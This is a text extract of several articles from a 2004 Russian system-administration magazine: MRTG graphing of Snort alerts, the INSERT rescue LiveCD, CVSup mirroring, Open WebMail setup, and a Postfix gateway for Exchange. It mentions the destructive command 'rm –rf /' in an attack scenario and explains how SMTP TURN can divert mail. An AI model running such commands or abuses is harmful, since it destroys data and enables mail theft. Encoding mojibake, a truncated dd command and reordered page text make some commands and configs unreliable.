После того как как мы убедились, что скрипт работает, можно запустить mrtg. Первые три раза лучше это сделать вручную, так как директория snort к моменту запуска скорее всего будет отсутствовать со всем её будущим содержимым, то в первые два раза будет выдано сообщение о создании директории, и будут выданы сообщения об ошибках. Mrtg будет жаловаться на то, что отсутствует log-файл, где хранятся данные и отсутствует его резервная копия. Третий раз запуск программы должен пройти тихо, без выдачи каких-либо сообщений об ошибках. Если это так, то можно смело переходить к автоматизации процесса запуска mrtg. Если бы мы сразу решили автоматизировать запуск, то эти и, возможно, другие сообщения об ошибках могли бы оказаться в log-файлах вашей системы, что усложнило бы процесс отладки и поиска возможных ошибок. Дополнительно убедиться в правильности работы mrtg можно, изучив содержимое директории /var/www/html/mrtg/ snort командой: # ls /var/www/html/mrtg/snort

Там должны быть 7 файлов:

! snort-day.png ! snort.log ! snort.old ! snort-year.png

! snort.html ! snort-month.png ! snort-week.png

Процесс автоматизации запуска mrtg возможно организовать двумя путями: запускать mrtg в виде демона один раз из стартовых скриптов, например из /etc/rc.d/rc.local, указав дополнительно соответствующий параметр в файле конфигурации, либо запускать с помощью демона crond. Второй вариант мне нравится больше. Для его реализации необходимо в файле /etc/crontab прописать следующие две строчки: # mrtg-ñòàòèñòèêà 0-59/5 * * * * root /usr/bin/mrtg /etc/mrtg/mrtg.cfg ↵ --logging /var/log/mrtg.log

Строка-комментарий никакой смысловой нагрузки не несёт, кроме того, что это правила хорошего тона, пояснять все записи в crontab-файлах, да и потом в случае чего проще будет разобраться. Сообщения от mrtg лучше вести в отдельный файл /var/ log/mrtg.log, дабы не замусоривать и так перегруженный /var/log/messages, хотя это не обязательно. MRTG лучше запускать раз в пять минут (запись 0-59/5), каждого часа, каждого дня месяца, каждого месяца в любой день недели (оставшиеся четыре *). Подробнее про синтаксис и процесс автоматизации см. [9 стр.34-38]. В случае если вы будете запускать его чаще или реже, следует изменить и скрипт, подсчитывающий значение числа атак, заменив там соответствующее 5 минутам значение в 300 секунд. После того как добавлены эти строчки, можно считать, что работа по настройке закончена, и если у вас, как и положено, запущен демон crond, то всё будет работать. И уже через несколько часов можно будет наблюдать не совсем пустые гистограммы. В случае если у вас запу-


безопасность щен веб-сервер, просмотрите любым графическим браузером файл http://yourserver/mrtg/snort/snort.html, либо файл /var/www/html/mrtg/snort/snort.html локально в противном случае. В результате вы увидите картинку, подобную нижеследующей:

Второе замечание касается подсчёта числа атак в единицу времени при построении графика. В случае если по каким-то причинам придётся запускать mrtg в разные интервалы времени, то, возможно, вам пригодится следующая информация. Сейчас, когда запускается mrtg то, так как в Options указано слово absolute, осуществляется деление переданного значения от скрипта на время, равное разнице между текущим запуском mrtg и предыдущим. Это время приблизительно равно 300 секундам и там, и там, поэтому получается примерно точно. Однако если по каким-то причинам с момента последнего запуска mrtg прошло другое количество времени, то как легко предположить, среднее число атак будет подсчитано неправильно. Несколько исправить ситуацию может использование опции gauge вместо absolute, но не всегда. Если указана опция gauge, то значение не делится на интервал времени, а принимается равным тому, что передали. Соответственно, для правильного подсчёта и отображения в скрипте snort_stat.pl необходимо будет делить выводимое значение на 5. Этот способ подсчёта также является грубым, но может помочь вам несколько уменьшить ошибку, поменяв правила её подсчёта.

Литература, ссылки:

После того как, казалось бы, всё рассказано и показано, хочется сделать пару замечаний. Первое касается точности построения графиков. Как легко заметить, для запуска используется демон crond, который запускается после указанного времени, когда не только загрузка системы позволит это сделать, но и будет ниже определённой. В результате следует понимать, что запуск происходит не точно каждые 5 минут. Если будет запоздание, то скрипт, подсчитывающий атаки, запустится позже, в результате его пятиминутный интервал не перекроется с предыдущим и будет дырка, то есть часть атак не будет подсчитано. Если же после «запоздавшего» задания следующее будет вовремя, то произойдёт перекрытие и некоторые атаки будут подсчитаны дважды. Для систем с грубой оценкой это не важно, так как отклонения эти не большие и примерно компенсируются и не накапливаются в силу случайно флуктуирующего числа атак в единицу времени. Для более точных оценок данный метод следует корректировать. Именно по причине грубости данного метода я не вижу смысла запускать mrtg чаще чем раз в 5 минут.

№5(18), май 2004

1. MRTG: The Multi Router Traffic Grapher http:// people.ee.ethz.ch/~oetiker/webtools/mrtg/ 2. Закляков П. Разводной мост на Linux. – //Журнал «Системный администратор» №4(5), апрель 2003 г. 3. Манн С., Крелл М. Linux. Администрирование сетей TCP/IP. Пер. с англ. – М.: ООО «Бином-Пресс», 2003 г. 4. Колисниченко Д.Н. Linux-сервер своими руками. – СПб: Наука и Техника, 2002 г. 5. Закляков П. Удобнее, эффективнее, лучше: snort + MySQL – //Журнал «Системный администратор» №11(12), ноябрь 2003 г. 6. Холзнер С. Perl: Специальный справочник – СПб: Питер, 2000 г. 7. Дюбуа П. Применение MySQL и Perl в Web-приложениях.: Пер. с англ. – М.:Издательский дом «Вильямс», 2002 г. 8. Как получить доступ к базе данных из cgi-скриптов? (Техническая поддержка Zenon N.S.P.: Виртуальные unix-серверы : Вопросы по MySQL) http://www.host.ru/ documentation/v-www/0025.html#11 9. Тейнсли Д. Linux и UNIX: программирование в shell. Руководство разработчика: Пер. с англ. – К.: Издательская группа BHV, 2001 г.

25


администрирование

INSERT – INSIDE SECURITY RESCUE TOOLKIT СЕРГЕЙ ЯРЕМЧУК Бешеная популярность GNU/Linux не в последнюю очередь обусловлена наличием большого количества узконаправленных дистрибутивов, адаптированных для выполнения конкретных задач. Наиболее популярны среди них firewall, позволяющие настроить доступ в Интернет, в том числе и неподготовленному пользователю, также в последнее время становятся популярными дистрибутивы, предназначенные для анализа сетевой безопасности удаленных и локальных вычислительных систем и сетей в основном в виде LiveCD-дистрибутивов, позволяющих проделать все необходимые операции без установки системы на жесткий диск. Причем некоторые разработки могут прийтись по вкусу и закоренелым пользователям Windows-систем, т.к. могут оказаться тем единственным подручным средством, при помощи которого можно спасти свои данные. Об одном таком дистрибутиве и пойдет речь далее. INSERT (Inside Security Rescue Toolkit) – так называется LiveCD-дистрибутив, от Inside Security IT Consulting GmbH, предназначенный в первую очередь для решения задач по спасению данных, а также для сетевого анализа. Домашняя страница проекта: http://www.insert.cd/. Размер версии 1.2.3., которой я пользуюсь, всего-то 49.5 Мб, что позволяет записать его на болванку размером с корпоративную карточку, которая много места не займет, и иметь всегда при себе. При выборе образа для загрузки нужно быть внимательным, т.к. на данный момент имеются две версии: немецкая с приставкой de и английская – en. Базируется INSERT на популярном LiveCD-дистрибутиве KNOPPIX, что позволяет, воспользовавшись понятной инструкцией по разделке KNOPPIX Remastering HowTo (http:// www.knoppix.net/docs/index.php/KnoppixRemasteringHowto), при необходимости внести изменения в состав приложений дистрибутива. Ядро INSERT поддерживает все файловые системы, которые могут понадобиться, – это Linux-журналируемые ext3, JFS, ReiserFS, XFS, а также Microsoft FAT с NTFS, что перекрывает большую часть потребностей. При загрузке система пытается найти разделы LVM (logical volume manager). Система будет работать на большинстве оборудования, знает о Wireless-девайсах (имеются и утилиты для работы – orinoco, linux-wlan-ng, wavemon), SCSI-устройствах, RAID, в т.ч. и software-RAID, исключения составляют, наверное, Win-модемы. Интересно, что в такой маленький объем разработчикам удалось вместить и X-Window с оконным менеджером fluxbox, так что те, кто еще не привык к работе в командной строке, будут работать в более удобной для себя среде.

26

Если BIOS не поддерживает загрузку с CD-ROM, то можно создать загрузочную дискету командой: #if=mounted_cdrom_directory/INSERT/boot.img of=/dev/fd0 bs=18k

Во время загрузки есть возможность указать ряд дополнительных опций (просмотреть список можно по F2), из которых хотелось бы отметить insert toram, позволяющую загрузить содержимое диска в оперативную память и освободить дисковод. После чего загрузочный скрипт найдет все разделы на жестком диске, но монтировать их не будет, это сделано специально для того, чтобы максимально сохранить данные. При необходимости нужный раздел монтируем (все найденные можно просмотреть в каталоге /mnt/): #mount /mnt/hda3

После чего он будет смонтирован в режиме чтение-запись. По умолчанию работаем как пользователь insert, при необходимости все остальные утилиты запускаются при помощи sudo без пароля. Далее, если сеть не настроилась при помощи DHCP, настраиваем ее вручную. Для этого воспользуемся командами ifconfig и route. #ifconfig eth0 192.168.0.20 netmask 255.255.255.0 #route add default gw 192.168.0.254

И заносим в /etc/resolv.conf имя ближайшего сервера имен. Например: nameserver 192.168.0.254

Из меню можно вызвать утилиты настройки pppconfig, pppoeconf для DSL или isdnconfig для ISDN. В настройке модемного соединения помогут скрипты ppp-scriptsknoppix и pppconfig. Приложения, входящие в состав INSERT, можно разделить по следующим категориям: Утилиты для работы с дисковыми разделами восстановления данных. В первую очередь интересна утилита captive, представляющая эмулятор ядра Windows NT, позволяющий работать с разделами, отформатированными под NTFS, причем поддерживается и запись. Кроме того, работает и с разделами/образами в FAT, ext2, ISO9660. Далее идет утилита gpart, позволяющая найти «потерявшиеся» разделы на жестком диске в случае, если таблица первичных разделов в нулевом секторе была повреждена или удалена.


администрирование Утилита partimage позволяет сохранять разделы во многих форматах (ext2fs/ext3fs, ReiserFS, FAT16/32, HPFS, JFS, XFS, UFS, HFS, NTFS), причем, в отличие от dd, пропускает нулевые секторы и может сжимать данные, что позволяет экономить место на диске, особенно при работе с разделами больших размеров, удобна для клонирования системы. Также поможет в поиске и восстановлении потерянных разделов утилита testdisk, имеющая систему меню, облегчающую работу с ней новичкам, и режим Advanced, предназначенный для экспертов. Для восстановления данных, умышленно или случайно уничтоженных с дискового раздела ext2, поможет основанная на «Ext2-undeletion howto» утилита recover с графическим Gtk-интерфейсом gtkrecover. В дополнение к стандартной утилите dd имеется dd-rescue, позволяющая создать образ, несмотря на ошибки. Утилиты защиты системы, к которым можно отнести антивирус Clamav, chkrootkit, предназначенный для поиска вложений – rootkits и lsof. Для обновления антивирусных баз в меню встроен отдельный пункт, вызов которого при настроенном соединении автоматически обновит базы, или вручную набрать freshclam. После чего можно запускать clamscan с указанием примонтированого дискового раздела. Утилиты анализа и работы в сети: iptables, tcpdump, nmap, iptraf (IP Network Statistics Utility) плюс аналогично-

№5(18), май 2004

го назначения апплет wmifs, traceroute и интерфейс mtr-tiny, dnsutils, ftp (с GTK-интерфейсом axyftp-gtk), ssh, httptunnel, icmpush (позволяет самстоятельно строить ICMP-пакеты), sendip (позволяет посторить произвольные IP-пакеты), веб-браузер Links. Утилиты анализа и повышения защищенности системы: chntpw (утилита восстановления паролей NT SAM), wipe (для безопасного удаления файлов), smb-nat (утилита аудита NetBIOS), idswakeup (для тестирования IDS-систем). И целый ряд вспомогательных утилит вроде программ для создания iso-образов и записи их на СD (mkisofs, cdrecord и burncenter), редакторы nvi и nano, набор для работы с различными архивами и еще много различных утилит. Приятно, что разработчики полностью сохранили документацию в виде man-страниц, что позволяет быстро разобраться в работе с незнакомыми утилитами или вспомнить опции командной строки. В принципе для большинства восстановительных работ такой наборчик подойдет вполне. Особенно понравилась возможность освобождения CD-ROM/RW, который можно использовать, например, для восстановления спасенной информации. Это довольно хороший инструмент администратора, позволяющий использовать специфические для UNIX приложения на Windows-системах, а также для пользователей, желающих начать знакомство с основами UNIX.

27


администрирование

ЗЕРКАЛИРОВАНИЕ ИНФОРМАЦИИ В этой статье будет рассказано о создании простой и удобной системы зеркалирования информации с помощью пакета CVSup.

АЛЕКСАНДР БАЙРАК Трудно переоценить ту пользу, которую приносят нам резервные копии, заботливо нами же и сделанные. Сколько нервов и времени не было благодаря им потрачено впустую… Процесс зеркалирования хоть и схож по смыслу, но все же несколько отличается от классического резервного копирования информации. Более того, зеркалирование в полной мере не сможет его заменить. А зачем же тогда использовать зеркалирование, если оно не заменит процесс стандартного бекапа? Рассмотрим небольшой пример. На работе у X есть веб-сервер, X как добросовестный админ выполняет каждодневное резервное копирование, даже скрипты для автоматизации процесса написал. И все бы ничего: резервные копии ведутся, хотите контент сайта двухнедельной давности? Пожалуйста! Но случилось страшное, злобные script-kiddies взломали веб-сервер и снесли все содержимое сайта. Конечно, не беда, есть резервные копии, и все можно воcстановить, но сколько времени это займет? Да, казалось бы, не долго, минут 20 (в лучшем случае), и все будет на месте, но эти самые 20 минут сайт компании будет в простое, (это если только содержимое сайта(ов) снесли, а что делать, если злодеи недрогнувшей рукой набрали rm –rf / )… невеселая картина вырисовывается. Вот для того чтобы этого не произошло, можно (и нужно) зеркалировать информацию. (Конечно, зеркалирование не спасет вас от script-kiddies, но подразумевается, что восстановление работоспособности сайта (или всего сервера) займет намного меньше времени.) Если бы у нашего админа имелась зеркальная копия веб-сервера, он использовал бы ее для работы, на время восстановления основного веб-сервера. Почему я взял за основу CVSup? CVSup является пакетом программ для передачи и обновления файлов че-

28

рез сеть. Он состоит из двух частей – клиента и сервера. Да, есть аналогичные средства – sup и rdist, а чем CVSupто лучше? CVSup более гибок в настройках, и обеспечивает большую скорость работы по сравнению с вышеуказанными средствами. CVSup может эффективно копировать файлы любых типов, вплоть до файлов устройств. С помощью CVSup можно зеркалировать как отдельные каталоги, так и весь сервер целиком. А что? Очень удобно получается. Я установил систему зеркалирования на FreeBSD, но ее так же можно установить на любую другую BSD-систему или на Linux. CVSup мной был установлен из пакаджей, которые шли вместе с системой. При желании пользователи BSDсистем могут установить этот пакет из коллекции портов, а можно самостоятельно скомпилировать из исходников, которые располагаются тут: ftp://ftp.FreeBSD.org/ pub/FreeBSD/development/CVSup/ . В сети есть и rmp-пакеты CVSup. В общем, проблем с получением и установкой возникнуть не должно. Расписывать пошагово весь процесс не вижу смысла. Так как эта статья не задумывалась как исчерпывающее руководство по зеркалированию информации, я не буду рассматривать примеры создания полной копии одного/нескольких серверов целиком, все будет показано на одном простом примере, я думаю, его будет достаточно, для того чтобы понять, как работает CVSup. Перейдем от теории к практике: Предположим, нам нужно держать зеркальные копии следующих каталогов: /var/ftp; /info; /home/user22. Для начала нам нужно создать каталоги, в которых разместятся файлы конфигурации, роль которых – указывать демону cvsupd, какие данные пересылать зеркальной машине.


администрирование #cd /etc #mkdir –p cvsup/sup #cd cvsup/sup #mkdir ftp info user22

После этого создаем в каждом каталоге по 2 файла следующего содержания (расписываю на примере ftp): Создаем первый файл: #touch ftp.cvs

Помещаем в него следующее: Upgrade ftp rsymlink *

Создаем второй файл: #touch releases

*default base=/backup/var *default releases=ftp ftp

В качестве hostname вам нужно указать имя вашего хоста, информацию с которого вы хотите получать. Кстати, писать *default в начале каждой строки абсолютно не обязательно, это делается только для удобочитаемости файла. delete use-rel-suffix – эта инструкция дает CVSup право удалять файлы на вашем компьютере. А почему в *default base= указано именно /backup/var, а не /var ? Потому что /var «основной» машины будет храниться в каталоге /backup/var «резервной» машины. Как вы поняли, это сделано для того, чтобы каталог /var с «основной» машины не заместил собой каталог /var на «резервной» машине. Такое можно допустить только в том случае, если вы поддерживаете полное зеркалирование сервера. Вроде бы все готово, пробуем запустить CVSup:

В котором пишем: #cvsup –L 2 /etc/mirror ftp list=ftp.cvs prefix=/var

В первом файле мы указываем, какой каталог мы хотим иметь на резервной машине. А во втором указывается имя файла, в котором мы описали, что мы хотим копировать, и место на диске, где располагается нужный нам каталог. Проделываем аналогичные манипуляции с остальными каталогами. После успешного завершения запускаем сервер cvsupd: #cvsupd –b /etc/cvsup –C 1 –l /dev/stdout

После опции –b указываем, где у нас лежит каталог, в котором располагаются файлы конфигурации. По умолчанию это /usr/local/etc/cvsup, если файлы с настройками вы поместили именно туда, эту опцию можно опустить. Опция –C отвечает за определение максимального количества клиентов, которые могут одновременно забирать файлы. В нашем случае это 1. После опции –l указывается место, куда выводить логи. Для меня более удобным и наглядным является вывод этой информации непосредственно на экран. Но никто не мешает вам в качестве места для логов указать какой-либо файл. Например, –l /var/log/cvsup.log – и все сообщения будут помещаться в этот файл. Если все запустилось без ошибок, то переходим к настройке машины «зеркала», на этой нам больше делать нечего. Если же возникнут какие-либо ошибки, изучайте файл, который вы определили для вывода информации. Важное замечание: CVSup по умолчанию работает через 5999-й порт, так что не забудьте открыть его на своем межсетевом экране. Создаем в каталоге /etc файл mirror (хотя название вы можете выбрать произвольное). В этот файл мы поместим следующее: *default *default *default *default

host=hostname delete use-rel-suffix compress preserve

№5(18), май 2004

Число после опции –L указывает уровень подробности выводимой информации. По умолчанию используется 1. В данном случае 2 – самый подробный вывод. При 0 в качестве параметра опции –L информация о процессе не выводится. За ней следует указание месторасположения файла с настройками. Вот пошел процесс синхронизации. В зависимости от объемов информации и скорости сети первоначальный обмен данными может продлиться достаточно долго. Должен заметить, что если нажать Ctrl+C для завершения процесса копирования, CVSup корректно завершит все свои операции, и в следующий раз продолжит свое дело с того места, но котором вы его прервали. Хочу обратить ваше внимание на одну очень важную деталь: CVSup не копирует файлы, у которых совпадает контрольная сумма и права доступа. Получается, что если на машине-источнике и машинеполучателе присутствуют разные учетные записи пользователей, информация о правах владения файлов может не совпасть. Отсюда следует, что если какой-либо копируемый файл имеет владельца, упоминаний о котором нет на машинеполучателе, CVSup будет копировать этот файл в каждом сеансе синхронизации. Для того чтобы этого избежать, нам нужно иметь на обеих машинах одинаковые учетные записи пользователей, файлы которых мы собираемся зеркалировать. Если все отлажено и отлично работает, вполне логичным может выглядеть добавление нового задания для демона cron. Через какой промежуток времени запускать процесс зеркалирования – решать вам. У меня он происходит каждые полчаса. Существует перевод на русский язык оригинального CVSup faq, который я очень рекомедую вам внимательно почитать. Находится он на: http://ozz.pp.ru/cvsup.html Завершая эту небольшую статью, невольно вспоминаются золотые слова: «Лучше 2 бекапа, чем вообще без них». Так что не пренебрегайте такой важной штукой, как резервное копирование информации.

29


администрирование

ЗНАКОМСТВО С Open WebMail

О необходимости наличия доступа к корпоративной почте через веб-интерфейс я задумался в первые же дни долгожданного отпуска. Конечно, существуют и бесплатные почтовые сервисы с доступом через http, но такой вариант меня не устраивал. Несколько исправил ситуацию ssh + mutt, но возможность воспользоваться такой связкой бывает не всегда. Поэтому уже через несколько дней после выхода из отпуска на моем винчестере лежал свежескачанный дистрибутив одного из вариантов такого веб-интерфейса – Open WebMail (http://www.openwebmail.com).

АНДРЕЙ МАРКЕЛОВ 30


администрирование По большому счету, выбор пал на Open WebMail ввиду его ориентированности на работу с очень большими объемами почтовых сообщений. Как раз акцент в сторону больших объемов входящей корреспонденции – это то, что отличает Open WebMail от других подобных систем, например, от Neomail – «предка» рассматриваемого пакета. К его достоинствам можно отнести следующее: ! лицензия GPL, разумеется; ! наличие встроенного клиента SSH, планировщика и функции WebDisk; ! фильтры почтовых сообщений; ! поддержка разнообразных UNIX-подобных систем и работающих на них почтовых систем; ! поддержка SSL; ! функции экспорта/импорта, облегчающие миграцию с почтовых клиентов; ! русскоязычный интерфейс.

минимум версии 5.005. Обратите внимание, что Open WebMail работает через Suidperl, что обеспечивает большую безопасность работы. Поскольку все данные компоненты ставятся практически в любом дистрибутиве Linux «из коробки», я не буду заострять на них дальнейшее внимание. Кроме того, необходимы следующие пакеты: ! CGI.pm-2.74.tar.gz – библиотека Perl5 для написания WWW CGI – скриптов. ! MIME-Base64-2.12.tar.gz – модуль кодирования/декодирования по RFC 2045-MIME. ! libnet-1.0901.tar.gz – перловый API для поддержки приложений клиент/сервер. ! libiconv-1.9.1.tar.gz – пакет для динамической конвертации символов. ! Text-Iconv-1.2.tar.gz – интерфейс программирования на Perl для работы с предыдущим пакетом.

Проект развивается с 2001 года. Язык программирования – Perl. За основу, как написано на сайте, взят Neomail 1.14. В этой статье я опишу базовую установку и настройку системы, плюс кратко расскажу, как выглядит работа Open WebMail с точки зрения пользователя. В качестве платформы я использовал Red Hat Linux и sendmail, но, как я уже говорил, вы можете использовать и другие POSIXсистемы.

Все вышеперечисленные архивы можно скачать по адресу: http://openwebmail.com/openwebmail/download/packages. В целом, при описании процесса инсталляции я буду придерживаться документации, входящей в состав дистрибутива. Предварительно сделаю замечание, что для установки Perl-модулей можно воспользоваться и оболочкой CPAN, осуществляющей загрузку и установку модулей с сайта http://www.cpan.org. Но мы пойдем по «пути командной строки». MIME-Base64, CGI.pm и libnet ставятся следующим образом:

Установка Для нормальной работы веб-интерфейса требуются Apache с разрешенным выполнением скриптов cgi и Perl

№5(18), май 2004

tar -zxvf <èìÿ_àðõèâà>.tar.gz

31


администрирование cd perl Makefile.PL make make install

Когда вы будете давать команду perl Makefile.PL для пакета libnet, на предложение скрипта обновить конфигурацию необходимо ответить отказом. То есть на единственный задаваемый вам вопрос во время отработки скрипта нажать «n» и клавишу «Enter». Libiconv ставится следующим образом: tar -zxvf libiconv-1.9.1.tar.gz cd libiconv-1.9.1 ./configure make make install

И наконец, займемся последним архивом – Text-Iconv-1.2: tar -zxvf Text-Iconv-1.2.tar.gz cd Text-Iconv-1.2

Правим Makefile.PL: 'LIBS' 'INC'

=> ['-L/usr/local/lib -liconv'], => '-I/usr/local/include',

Далее продолжаем из командной строки:

32

perl Makefile.PL make make test make install

Если предпоследняя команда отработала неудачно, проверьте, правильно ли вы отредактировали Makefile.PL. В крайнем случае, можно будет переименовать uty/ iconv.pl.fake в shares/iconv.pl, и попробовать собрать openwebmail без поддержки iconv. Теперь можно перейти непосредственно к установке Open WebMail. При описании я буду ориентироваться на Red Hat Linux: cd /var/www tar -zxvBpf openwebmail-2.30.tgz mv data/openwebmail html/ rmdir data

Идем в каталог cd /var/www/cgi-bin/openwebmail/etc. Переименовываем auth_unix.conf.default в auth_unix.conf, открываем его в редакторе и указываем: passwdfile_encrypted passwdmkdb 'none'

'/etc/shadow'

Далее правим файл openwebmail.conf:


администрирование mailspooldir ow_htmldir ow_cgidir

'/var/spool/mail' '/var/www/html/openwebmail' '/var/www/cgi-bin/openwebmail'

Как видно, здесь мы просто указываем каталог, где хранится почта, находящаяся в обработке, и системо-зависимые каталоги веб-сервера Apache. Почта на сервере хранится в формате mbox. При желании здесь же можно изменить подпись, добавляемую к письму. Теперь осталось последнее действие. Запускаем инициализацию: /var/www/cgi-bin/openwebmail/openwebmail-tool.pl –init

Во время инициализации вам будет задан вопрос о необходимости сообщения разработчикам об установке Open WebMail. На этом основные действия по установке пакета закончены. Теперь вы можете зайти на сервер и посмотреть, что в итоге получилось. Для приглашения к авторизации необходимо набрать в адресной строке браузера: http://<ñåðâåð>/cgi-bin/openwebmail/openwebmail.pl

№5(18), май 2004

Также можно передавать имя и пароль сразу: http://<ñåðâåð>/cgi-bin/openwebmail/openwebmail.pl? ↵ loginname=USER&password=PASS

В последнем случае, не забудьте, что эта ссылка сохраняется в «истории» вашего браузера. По умолчанию вы попадаете в папку «Входящие». В верхней строке последовательно расположены двенадцать иконок: создание нового сообщения, просмотр и создание иерархии папок, настройка фильтров, получение почты, поиск, обновление экрана, переход в органайзер, запуск SSH-терминала, настройки и выход. Под панелью с иконками расположена строка с напоминаниями о запланированных событиях. Под ней – элементы интерфейса, позволяющие изменять сортировку, копировать и перемещать файлы, а также форма поиска. Интерфейс программы достаточно простой и интуитивно понятный, так что я не вижу смысла его подробно описывать. Более наглядное представление о нем вы можете получить на приведенных в журнале рисунках. «В действии» вы можете ознакомиться с работающим сервером по адресу: http://www.postman.net.

33


администрирование

POSTFIX КАК ШЛЮЗ ДЛЯ EXCHANGE

Предположим, вы системный администратор и вам предстоит организовать функционирование почтовой системы для вашего предприятия. Возможно, это тот случай, когда вашему предприятию нецелесообразно пользоваться почтовыми ящиками, предоставленными провайдером и нужен свой почтовый сервер, более того, вы хотите сами встать у «руля» (ведь есть также возможность организовать свой почтовый сервер, но при этом все равно пользоваться почтовым сервером провайдера, т.е. забирать почту для своего домена из почтовой очереди или pop3 ящика на сервере провайдера).

ИГОРЬ ПОЛЯНСКИЙ 34


администрирование Здесь мы рассмотрим достаточно распространённый случай, когда у вас есть выделенный канал с одним IP-адресом и MX-запись для вашего домена(ов) указывает на этот IP. Для вас выбор программного обеспечения почтового сервера ясен или, может быть, его сделали другие, но это MS Exchange. Вы начинаете думать, и в зависимости от наличия опыта, от того, что посоветовали друзья, и какие данные удалось самому найти в сети, у вас появится несколько вариантов. Итак, наиболее распространенные: Вы ставите Windows-машину в качестве шлюза и на нее нахлобучиваете Exchange. Понятное дело, Exchange на другой ОС не работает, а почту как-то надо получать. Прокопавшись несколько часов, ведь так и будет, потому что настройка Exchange вещь не тривиальная и установка Windows проходит как-то не шустро, закончили первый этап. Почта ходит, да и шлюз вроде справляется с нагрузкой и почти не глючит. Довольные собой идете домой с застывшей улыбкой на губах. На самом деле это не улыбка, просто вы погружены в свои мысли о великих свершениях и не замечаете окружающих, ведь завтра многое предстоит сделать, что-то надо думать с защитой шлюза, да и почту без антивирусной защиты оставлять нельзя, плюс ко всему надо успеть завтра скачать и установить многотонные сервис паки, апдейты, патчи и много всего прочего. Проходит неделя, другая, постепенно налаживается документооборот, совместная работа офиса на базе Exchange, ведь, я надеюсь, Exchange в вашей конторе не только ради почты, впрочем, такой вариант тоже часто встречается. Но что-то все-таки не ладится. То машина в какой-то стопор падает, а то начинаете ковырять настройки, никоим образом не относящиеся к почте, а в результате именно она перестает работать. Да и регулярно обнаруживаемые в Windows критические уязвимости надежд на спокойную жизнь не приносят. В общем, приходится постоянно быть начеку, чтобы вовремя перегрузить сервер и на вопрос: «Вася, а что у нас с почтой?» нетерпеливо глядя то на индикатор hdd led, то на «Windows is now restarting», цедить: «Сейчас всё будет работать.» Пройдёт еще некоторое количество времени, и к вам придёт мысль о том, что надо разделить функции шлюза и Exchange-сервера, тем более что информация на сервере ценная и хочется её сохранить. Уже узнали, что можно спрятать сервер Exchange за шлюзом в приватной сети, но чтобы почта все-таки ходила и c сервером можно было соединиться извне, используя реальный адрес шлюза. Вы опять полны идей и вас слегка лихорадит. Итак, решено, Exchange – внутрь, соединения на 25-й порт с шлюза перенаправляем на внутренний компьютер... а что у нас, пардон, на шлюзе-то осталось? Вот тут наступает момент истины, и от вас зависит, сделаете ли вы правильный выбор или нет. Если до этого вы имели дело с UNIX-подобными ОС, то выбор очевиден – ставите свою любимую ОС в качестве шлюза и все дальше, как в песне. Если вы поклонник Windows или

№5(18), май 2004

просто не приходилось работать с другими системами, то первым порывом будет взгромоздить на шлюз Windows. Плюсом такого решения является большой выбор программ, как правило, большинство из них коммерческие. Ну а о минусах такого подхода к безопасности, я думаю, вы и сами осведомлены, иначе не стали бы переносить Exchange внутрь защищенной сети. Настало время попробовать UNIX, возможности которого для подобного рода задач скорее всего перекроют ваши потребности, а из преимуществ можно перечислить как минимум следующие: ! Бесплатность самой ОС (это относится, конечно, не ко всем, но выбор достаточен). ! Невысокие требования к конфигурации компьютера. ! Отличная переносимость высоких нагрузок, не говоря уже о стабильности ОС как таковой. ! Развитые сетевые возможности и средства. ! Языки программирования и компиляторы поставляются с ОС. Одного shell плюс набор стандартных утилит достаточно, чтобы вы забыли о поисках необходимой «программулины» для решения административных задач. ! Отсутствие огромного количества вирусов, как для Windows (вообще такое впечатление, что их нет). ! Всё, что необходимо, есть в составе ОС или может быть установлено бесплатно. Её можно накрутить дополнительным функционалом, практически неограниченным, при этом не потребуется ни денежных затрат на ПО, ни обновления конфигурации компьютера. Меня удивляют некоторые IT-специалисты, которые даже не хотят или боятся делать это, приводя бессмысленные аргументы. Проявив немного терпения и овладев приемами работы в UNIX, в дальнейшем, исходя из ситуации, сможете сделать выбор, которого не будет у них. Ну вот, Exchange убран внутрь, шлюз теперь построен на операционной системе более подходящей для этой цели и кажется, что вы в безопасности. Но не торопитесь так думать, ведь Exchange как был доступен из Интернета, так и остался. И при неправильной конфигурации он может стать сервером для спам-рассылок, источником распространения вирусов и целью для атак. Впрочем, целью для атак он может стать в любом случае, ведь атаковать нельзя только ту систему, которая выключена. Зайдите на любой сайт, который даёт обзоры по найденным уязвимостям и посмотрите статистику. Вы можете возразить, что применяете последние заплаты, но ведь уязвимости всегда на шаг впереди и где гарантия, что вы успеете залатать дыры прежде, чем произойдет неприятность. Вот вывод команд, доступных по умолчанию в Exchange: 250-TURN 250-SIZE 250-PIPELINING 250-ENHANCEDSTATUSCODES 250-BINARYMIME 250-VRFY 250-X-EXPS=LOGIN 250-AUTH=LOGIN 250-XEXCH50

250-ATRN 250-ETRN 250-DSN 250-8bitmime 250-CHUNKING 250-X-EXPS GSSAPI NTLM LOGIN 250-AUTH GSSAPI NTLM LOGIN 250-X-LINK2STATE 250 OK

35


администрирование Сдаётся мне, что для сервера, общающегося с Интернетом, половина этих команд не нужна, а некоторые опасны, например, TURN. Смысл этой команды заключается в том, что клиент и сервер меняются ролями и почта для домена передается на хост клиента. Для идентификации используется доменное имя, полученное от команды HELO. У злоумышленника появляется возможность, подделав имя, заставить сервер отправить почту на свой хост. Отключить же ненужные команды, ползая по меню System Manager, вам вряд ли удастся. Но не все так плохо, как кажется, и мы хотим предложить вам третий вариант. А что если Exchange сделать вообще недоступным из Интернета? А как будет ходить почта, спросите вы. Да очень просто, мы установим на шлюз MTA Postfix и спрячем за ним Exchange, организовав их взаимодействие. Теперь для всего внешнего мира будет доступен Postfix, на котором не будет никаких почтовых учетных записей, никаких почтовых ящиков. Postfix будет принимать почту, обрабатывать ее и передавать дальше Exchange. Естественно, такие вещи как спам, вирусы, попытки переслать почту для чужих доменов (релей) будут отсекаться еще на этапе соединения с Postfix. Исходящая почта также будет проходить через Postfix. Плюс ко всему функции защиты от спама, вирусов и т. д. можно дублировать на Exchange. Таким образом, вы сможете создать достаточно надежную почтовую систему, то есть: а) Нет возможности подобраться к Exchange напрямую извне, а значит провести атаку или получить доступ к вашим данным через дыры в другом ПО, например, через IIS, который требуется для установки Exchange. Атака же на Postfix грозит выходом из строя только Postfix, который не содержит ни пользовательских бюджетов, ни важных данных. К тому же, насколько мне известно, за последние несколько лет в Postfix не обнаружено критических уязвимостей и скорее всего не будет найдено таких дыр, которые могут привести к катастрофе. Учитывая все вышесказанное, можно заключить, что риск потери данных из-за краха Postfix равен нулю. б) Исходя из пункта «а», ясно, что времени на восстановление функционирования почты на шлюзе понадобится меньше, чем системе Exchange, содержащей данные, я бы даже сказал много меньше, если учесть, что в некоторых случаях установка всей системы с нуля, в нашем случае операционной системы и Postfix, единственно приемлемый выход. Все, что 